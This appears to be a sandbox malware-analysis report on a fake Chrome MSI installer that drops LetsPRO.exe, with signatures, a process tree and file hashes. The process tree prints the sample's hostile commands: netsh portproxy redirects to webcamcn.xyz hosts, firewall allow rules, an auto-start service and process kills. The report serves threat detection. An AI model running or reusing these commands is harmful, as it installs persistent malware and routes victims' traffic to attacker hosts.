Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

8

Static

static

1

sutup-Chro...64.msi

windows7-x64

8

sutup-Chro...64.msi

windows10-1703-x64

8

sutup-Chro...64.msi

windows10-2004-x64

8

sutup-Chro...64.msi

windows11-21h2-x64

8

Analysis

  • max time kernel
    300s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/04/2024, 10:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sutup-Chrome.13.26.x64.msi

  • Size

    15.6MB

  • MD5

    86561e111e7ce97e13a9936b9b4ba849

  • SHA1

    61cd40da9253a367e416c9ab67e73738f18948c3

  • SHA256

    bd462515ea9ffe66fc27d9baa0fcc4bf733385829c2fc5676129aaeeb2e0af88

  • SHA512

    33d26416412d777fb2758bc41b44a9e9107906879c85bb4609702242deb2bcd83ed8a5f5da7a1d3e4662ca7b31dbfbbe1faa8364952546ff600136e8c2cf7d54

  • SSDEEP

    393216:qCBN2m9uaDsIqvv3/L/2m68UzYWIMWLBM36dmdRwhm7YLp:RkmqvHv1M/q8dOh

Score
8/10
evasionpersistencespywarestealer

Malware Config

Signatures

  • Creates new service(s) 1 TTPs
    persistence
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies Windows Firewall 2 TTPs 4 IoCs
    evasion
  • Sets file execution options in registry 2 TTPs 2 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 24 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 11 IoCs
  • Executes dropped EXE 35 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Loads dropped DLL 31 IoCs
  • Registers COM server for autorun 1 TTPs 33 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\sutup-Chrome.13.26.x64.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4408
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 583CC0F67ED1BB10179691E123231064
      2⤵
      • Loads dropped DLL
      PID:1412
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      PID:1628
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      PID:3772
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:1120
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1120 -s 236
        3⤵
        • Program crash
        PID:4184
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:4336
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3872
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:540
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2344
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:4188
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4228
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:2204
    • C:\Program Files (x86)\ChromeSetup.exe
      "C:\Program Files (x86)\ChromeSetup.exe"
      2⤵
      • Drops file in Program Files directory
      • Executes dropped EXE
      PID:3180
      • C:\Program Files (x86)\Google\Temp\GUM475A.tmp\GoogleUpdate.exe
        "C:\Program Files (x86)\Google\Temp\GUM475A.tmp\GoogleUpdate.exe" /installsource taggedmi /install "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={852D075A-CB9D-6360-4E4D-427BBB4F11E1}&lang=zh-CN&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty"
        3⤵
        • Sets file execution options in registry
        • Checks computer location settings
        • Drops file in Program Files directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3324
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies registry class
          PID:1752
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies registry class
          PID:3356
          • C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:4072
          • C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:2804
          • C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:5064
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4zNzIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4zNzEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QjgyNTExMzUtNzk4Ri00MTM5LUFENDYtOUMyNjkzRTgxNjg1fSIgdXNlcmlkPSJ7RkQyQ0RFQUItODMyQS00NjJGLUIwMjMtNjQxRDExQTkzM0JDfSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0iezI4RDQ0RjRELTdEOTktNEVFNi05MThELTc0RDgwM0JGNjA5Qn0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiLz48YXBwIGFwcGlkPSJ7NDMwRkQ0RDAtQjcyOS00RjYxLUFBMzQtOTE1MjY0ODE3OTlEfSIgdmVyc2lvbj0iMS4zLjM2LjM3MSIgbmV4dHZlcnNpb249IjEuMy4zNi4zNzIiIGxhbmc9InpoLUNOIiBicmFuZD0iIiBjbGllbnQ9IiIgaWlkPSJ7ODUyRDA3NUEtQ0I5RC02MzYwLTRFNEQtNDI3QkJCNEYxMUUxfSI-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgaW5zdGFsbF90aW1lX21zPSIxNzk3Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3908
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /handoff "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={852D075A-CB9D-6360-4E4D-427BBB4F11E1}&lang=zh-CN&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty" /installsource taggedmi /sessionid "{B8251135-798F-4139-AD46-9C2693E81685}"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1628
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4664
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:3236
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      PID:1712
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      PID:2468
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:4528
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:4700
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:3996
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:2436
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:3696
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:1360
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:4092
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:4672
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:2004
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:4524
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 1120 -ip 1120
    1⤵
      PID:4388
    • C:\Windows\system32\cscript.exe
      cscript C:\Users\Admin\30270\302701.vbs
      1⤵
      • Modifies data under HKEY_USERS
      PID:4360
    • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
      "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:1788
      • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
        "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4zNzIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4zNzEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QjgyNTExMzUtNzk4Ri00MTM5LUFENDYtOUMyNjkzRTgxNjg1fSIgdXNlcmlkPSJ7RkQyQ0RFQUItODMyQS00NjJGLUIwMjMtNjQxRDExQTkzM0JDfSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0iezZCNjA2NUQ2LUJFRTQtNDY1NS1CQzgxLUY3NEE3QkM0QTYzRH0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiLz48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNDLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iIiBuZXh0dmVyc2lvbj0iIiBhcD0ieDY0LXN0YWJsZS1zdGF0c2RlZl8xIiBsYW5nPSJ6aC1DTiIgYnJhbmQ9IiIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjciIGlpZD0iezg1MkQwNzVBLUNCOUQtNjM2MC00RTRELTQyN0JCQjRGMTFFMX0iPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIwIiBlcnJvcmNvZGU9Ii0yMTQ3MDEyODg5IiBleHRyYWNvZGUxPSIyNjg0MzU0NTkiIHVwZGF0ZV9jaGVja190aW1lX21zPSI0ODU0NyIvPjwvYXBwPjwvcmVxdWVzdD4
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe cscript C:\Users\Admin\30270\302701.vbs
      1⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3940
    • C:\Windows\system32\sc.exe
      sc create 302701973 binPath= "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" type= own start= auto displayname= 302701973
      1⤵
      • Launches sc.exe
      PID:4856
    • C:\Windows\system32\netsh.exe
      netsh interface portproxy add v4tov4 listenport=443 connectaddress=156.248.54.11.webcamcn.xyz connectport=443
      1⤵
        PID:1892
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Safe1" dir=in action=allow program="C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
        1⤵
        • Modifies Windows Firewall
        PID:2124
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Safe2" dir=in action=allow program="C:\Users\GameSafe.exe"
        1⤵
        • Modifies Windows Firewall
        PID:4556
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Safe3" dir=in action=allow program="C:\Users\GameSafe2.exe"
        1⤵
        • Modifies Windows Firewall
        PID:2068
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Safe4" dir=in action=allow program="C:\Users\GameSafe3.exe"
        1⤵
        • Modifies Windows Firewall
        PID:368
      • C:\Windows\system32\netsh.exe
        netsh interface portproxy add v4tov4 listenport=80 connectaddress=hm2.webcamcn.xyz connectport=80
        1⤵
          PID:3504
        • C:\Windows\system32\taskkill.exe
          taskkill /f /t /im wegame.exe
          1⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4540
        • C:\Windows\system32\taskkill.exe
          taskkill /f /t /im WeGame.exe
          1⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3376

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Config.Msi\e5742c9.rbs
          Filesize

          219KB

          MD5

          8b4edf1d5396545b129ddfdf947f694e

          SHA1

          1c5593fb591b170807abb84ae756c807210e06ba

          SHA256

          a5bc174fa546734b660faf5f059cfbf1304ac40e2014734d3226755c1412e6ce

          SHA512

          8f8f7da49d9dd6b47bec7c3bdf94d83f1fc7940a2b65b5e5f4697463cace3d3240d6b9eaa6e0c107a01e11a3c064f6c7a38211a4af3e5a93e9d7a1739504509f

          Download Submit

        • C:\Program Files (x86)\ChromeSetup.exe
          Filesize

          1.3MB

          MD5

          8884a9547aa410b697efad097f2b0013

          SHA1

          f3e7b8a25df24532f48dae750388e1749169b620

          SHA256

          24e46969cea3b387e899d5da33820b988a9944100e47aba3d1960c4080f28b9b

          SHA512

          e03eb2eb3f8414b2c9aa9431b63082fb195ea499dc7c1ea9e67e649c81b5c13d922fda30c5b62ca15a9bccbc6d7f6efa4a92ef604216e80ef3ee14d10e38b1c4

          Download Submit

        • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
          Filesize

          241KB

          MD5

          7bb188dfee179cbde884a0e7d127b074

          SHA1

          af351d674ec8515b4363b279c5ef803f7a4a3618

          SHA256

          7c3308f04df19ecaa36818c4a49348e1d6921a43df5c53cb8131cc58e92889ed

          SHA512

          45df588d45cad6bce5dfb48626d7505140ec1c1beecb97e3f9393cb90a144ca09c1a4d4ded75fce18ac3c7dc6f5ca0b222574222bd746d60cb6068ef910a5c4b

          Download Submit

        • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\1
          Filesize

          9.4MB

          MD5

          75d0239e2d42fcb09ad6dd6380e58441

          SHA1

          d146d55d9e3cac254414c5d3dccd56e55c62f229

          SHA256

          530a033f92543e1fe9061e5043f0eacbec5a0db300b862e8470fcd0c36fe07c1

          SHA512

          18fe51d9f9ded140e9a12f1c20c8fa4fa049892c480dcf933a29b15f3e3f063be410245071da77cac34626fcbf60fe067f42d39eb4b03cffd2fb88413314e695

          Download Submit

        • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
          Filesize

          7KB

          MD5

          a5fc151170b4bef53a2918729aa6d3a9

          SHA1

          5c4aa81eabf2b681d950813efe91b4959def907f

          SHA256

          7462f9337a959b4f57b58cb2002016dd1bbdbd6a9b7ba339c933a5b6c1bbc324

          SHA512

          48face9b188040377787e0ff0e0725fed5cefee4aa5ce4b8ca89af40352fea559d446941858bb1a3db6cacf901cbcae62c8005ee616829974b6a7a9f01b8472b

          Download Submit

        • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\msvcr100.dll
          Filesize

          756KB

          MD5

          ef3e115c225588a680acf365158b2f4a

          SHA1

          ecda6d3b4642d2451817833b39248778e9c2cbb0

          SHA256

          25d1cc5be93c7a0b58855ad1f4c9df3cfb9ec87e5dc13db85b147b1951ac6fa8

          SHA512

          d51f51336b7a34eb6c8f429597c3d685eb53853ee5e9d4857c40fc7be6956f1b8363d8d34bebad15ccceae45a6eb69f105f2df6a672f15fb0e6f8d0bb1afb91a

          Download Submit

        • C:\Program Files (x86)\Google\Temp\GUM475A.tmp\GoogleCrashHandler.exe
          Filesize

          294KB

          MD5

          4c3832fbe84b8ce63d8e3ab7d76f9983

          SHA1

          eea2d91b7d7d2cdf79bb9f354af7a33d6014f544

          SHA256

          8fe2226e8bec5a45d4b819359192ab92446b54859bf8877573ab7a3c8b4ada76

          SHA512

          e6e316bf3414ffb2674bf240760b2617ced755b8a34ad4b3213bcca6ea9a0aa3c2e094319d709a958f603b72197bfa34b100dbe87b618e17601b2e0dac749f84

          Download Submit

        • C:\Program Files (x86)\Google\Temp\GUM475A.tmp\GoogleCrashHandler64.exe
          Filesize

          392KB

          MD5

          dae993327723122c9288504a62e9f082

          SHA1

          153427b6b0a5628360472f9ab0855a8a93855f57

          SHA256

          38903dec79d41abda6fb7750b48a31ffca418b3eab19395a0a5d75d8a9204ee7

          SHA512

          517fc9eaf5bf193e984eee4b739b62df280d39cd7b6749bec61d85087cc36bb942b1ebaed73e4a4a6e9fa3c85a162f7214d41ea25b862a4cf853e1129c10293d

          Download Submit

        • C:\Program Files (x86)\Google\Temp\GUM475A.tmp\GoogleUpdate.exe
          Filesize

          158KB

          MD5

          baf0b64af9fceab44942506f3af21c87

          SHA1

          e78fb7c2db9c1b1f9949f4fcd4b23596c1372e05

          SHA256

          581edeca339bb8c5ebc1d0193ad77f5cafa329c5a9adf8f5299b1afabed6623b

          SHA512

          ee590e4d5ccdd1ab6131e19806ffd0c12731dd12cf7bfb562dd8f5896d84a88eb7901c6196c85a0b7d60aee28f8cfbba62f8438d501eabd1bb01ec0b4f8d8004

          Download Submit

        • C:\Program Files (x86)\Google\Temp\GUM475A.tmp\GoogleUpdateComRegisterShell64.exe
          Filesize

          181KB

          MD5

          0fe3644c905d5547b3a855b2dc3db469

          SHA1

          80b38b7860a341f049f03bd5a61782ff7468eac7

          SHA256

          7d5c0ed6617dbc1b78d2994a6e5bbda474b5f4814d4a34d41f844ce9a3a4eb66

          SHA512

          e2cf9e61c290599f8f92214fae67cce23206a907c0ab27a25be5d70f05d610a326395900b8ed8ed54f9ecbddfd1b890f10280d00dbcdad72e0272d23f0db1e53

          Download Submit

        • C:\Program Files (x86)\Google\Temp\GUM475A.tmp\GoogleUpdateCore.exe
          Filesize

          217KB

          MD5

          021c57c74de40f7c3b4fcf58a54d3649

          SHA1

          ef363ab45b6fe3dd5b768655adc4188aadf6b6fd

          SHA256

          04adf40ba58d0ab892091c188822191f2597bc47dab8b92423e8fc546dc437ef

          SHA512

          77e3bbb08c661285a49a66e8090a54f535727731c44b7253ea09ffe9548bae9d120ef38a67dfa8a5d8da170dde3e9c1928b96c64dfc07b7f67f93b478937c018

          Download Submit

        • C:\Program Files (x86)\Google\Temp\GUM475A.tmp\goopdate.dll
          Filesize

          1.9MB

          MD5

          dce0fd2b11b3e4c79a8f276a1633e9ae

          SHA1

          568021b117ace23458f1a86cd195d68de7164fa9

          SHA256

          c917ad2bf8c286ae0b4d3e9203ab3da641af4c8d332e507319ee4df914d6219c

          SHA512

          ba89867fd2bea6166b6e27c2a03a9a4759aee1affe75d592f381d9cb42facba1af1535f009a26f2613338b50de13b6576ab23c4e24d90827739f1678923ff771

          Download Submit

        • C:\Program Files (x86)\Google\Temp\GUM475A.tmp\goopdateres_am.dll
          Filesize

          42KB

          MD5

